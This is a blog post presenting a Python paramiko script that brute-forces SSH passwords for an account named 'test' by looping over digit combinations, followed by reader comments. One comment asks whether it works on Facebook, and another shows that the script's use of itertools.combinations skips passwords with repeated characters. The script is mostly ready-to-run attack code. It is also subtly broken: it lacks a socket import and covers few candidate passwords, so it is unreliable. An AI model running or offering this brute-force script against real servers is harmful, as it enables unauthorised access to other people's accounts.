Home > Scripts > SSH Brute force attack script using Python

SSH Brute force attack script using Python

A sample python script to carry out brute force attack against an ssh account named “test”.

#!/usr/bin/python
import paramiko
import itertools,string,crypt

PASSSIZE = 5
IPADDRESS = "127.0.0.1"
USERNAME = "test"
SSHPORT=22

# 
# Generates a password of containing only digits with a size of PASSSIZE
#
## To get other combinations pass the following values as the first argument to itertools.combinations
# string.punctuation+string.ascii_letters+string.digits 
# string.ascii_letters+string.digits  
var = itertools.combinations(string.digits,PASSSIZE)

try:
	for i in var:
 		passwd = ''.join(i)

		ssh = paramiko.SSHClient()
		ssh.load_system_host_keys()
		ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())

		try:
		        ssh.connect(IPADDRESS , port=SSHPORT, username=USERNAME, password=passwd)
		        print "Connected successfully. Password = "+passwd
			break
		except paramiko.AuthenticationException, error:
			print "Incorrect password: "+passwd
			continue
		except socket.error, error:
		        print error
			continue
		except paramiko.SSHException, error:
		        print error
		        print "Most probably this is caused by a missing host key"
			continue
		except Exception, error:
		        print "Unknown error: "+error
			continue	
		ssh.close()


except Exception,error :
	print error
Advertisements
Categories: Scripts
  1. UFO159
    November 10, 2012 at 4:06 pm

    does this work for facebook?

  2. June 23, 2013 at 5:56 am

    fucking losers code is good man

  3. 0x41414141
    August 1, 2013 at 9:54 am

    im glad my password (11) is secure :
    >>> for i in itertools.combinations([1,2,3],2):
    … print i

    (1, 2)
    (1, 3)
    (2, 3)
    >>>

  4. 0x41414141
    August 1, 2013 at 11:31 am

    http://stackoverflow.com/questions/3099987/generating-permutations-with-repetitions-in-python :
    >>> for i in itertools.product([1,2,3], repeat=2):
    … print i

    (1, 1)
    (1, 2)
    (1, 3)
    (2, 1)
    (2, 2)
    (2, 3)
    (3, 1)
    (3, 2)
    (3, 3)
    >>>

  1. No trackbacks yet.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: